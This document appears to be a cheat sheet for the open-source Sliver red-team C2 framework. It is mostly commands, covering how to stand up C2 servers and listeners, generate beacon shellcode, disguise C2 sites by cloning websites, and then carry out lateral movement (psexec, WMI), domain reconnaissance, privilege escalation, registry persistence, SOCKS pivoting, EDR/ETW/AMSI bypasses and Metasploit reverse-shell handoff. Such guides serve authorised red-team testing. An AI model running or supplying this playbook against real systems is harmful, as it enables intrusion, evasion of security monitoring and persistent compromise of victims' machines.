# Sliver Cheat Sheet Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary. Sliver server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux. --- ## Installation ``` curl https://sliver.sh/install|sudo bash ``` ## Sliver Service ``` cat > /etc/systemd/system/sliver.service << EOL [Unit] Description=Sliver Server After=syslog.target network.target [Service] Type=simple Restart=always RestartSec=120 LimitNOFILE=20000 Environment=LANG=en_US.UTF-8 ExecStart=/opt/sliver/sliver-server_linux daemon -l 0.0.0.0 -p [Install] WantedBy=multi-user.target EOL ``` ### Restart Deamon & Start Sliver ``` systemctl daemon-reload systemctl enable --now sliver ``` ### Install Letsencrypt ``` apt install letsencrypt -y ``` ### Setup Letsencrypt ``` apt install apache2 -y certbot certonly --non-interactive --quiet --register-unsafely-without-email --agree-tos -a webroot --webroot-path=/var/www/html -d ``` ### Create a New Website Clone website with wget. ``` wget --mirror --convert-links --html-extension ``` Add content to HTTP(S) C2 websites to make them look more legit. ``` websites add-content --website --web-path --content ./public --recursive ``` ## Team Server #### Create New Operator ``` ./sliver-server_linux operator -l -p -n -s /tmp/.cfg ``` --- ### Connect to Team Server ``` sliver-client import /tmp/.cfg sliver-client ``` ### Create New Listener #### MTLS ``` mtls -l 443 -L 0.0.0.0 -p ``` #### HTTPS ``` https -l 443 -L 0.0.0.0 -p ``` ### HTTPS Domain ``` https --domain --cert /path/cert.pem --key /path/privkey.pem --website -p ``` #### HTTP ``` http -l 80 -L 0.0.0.0 -p ``` --- ## Payload Creation ### Generate Shellcode ``` generate beacon --mtls : -f shellcode ``` ### Generate Binary ``` generate beacon --http : ``` ## Post Exploitation ### Beacon ``` use ``` ### Sessions Switching from Beacon Mode to Session Mode ``` sessions use interactive ``` ### Kill All Session ``` sessions -F -K ``` --- ### Lateral Movement #### SMB Listener ``` pivots named-pipe --bind profiles new --format service --named-pipe /pipe/ svc-smb-beacon ``` #### PSEXEC Lateral Movement ``` psexec -d Description -s PAEXEC -p svc-smb-beacon ``` #### WMI Lateral Movement ``` sharp-wmi 'action=exec computername= command="C:\windows\temp\xxx.exe" result=true' ``` --- ## Internal Reconnaissance #### Situational Awareness - Local ``` seatbelt -p C:\\Windows\\System32\\werfault.exe -- "-group=user" ``` #### Situational Awareness - Domain ``` sharp-hound-3 -- -c all ``` --- ## Privilege Escalation ``` sharpup -t 120 -p C:\\Windows\\System32\\werfault.exe audit ``` --- ## Persistence ``` sharpersist -- '-t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add' ``` --- ## Pivoting ### Socks Proxy ``` interactive use socks5 start ``` --- ## Defense Evasion To run this command need to install extension windows-bypass ### EDR Bypass ``` unhook-boof ``` ### ETW Bypass ``` inject-etw-bypass ``` ### AMSI Bypass ``` inject-amsi-bypass ``` --- ## Session Passing Session passing is using one payload to spawn another payload. ### Install Metasploit ``` curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ chmod 755 msfinstall && \ ./msfinstall ``` ### Setup Metasploit Handler ``` use exploit/multi/handler set payload windows/x64/meterpreter_reverse_https set lhost set lport exploit -jz ``` ### Inject Metasploit ``` msf --lhost --lport ``` ## Misc ### Install Extension From Local ``` extensions install /path/bof ``` ### Install Extension Using Armory ``` armory install windows-bypass armory install windows-pivot armory install situational-awareness armory install .net-execute armory install .net-pivot armory install .net-recon ```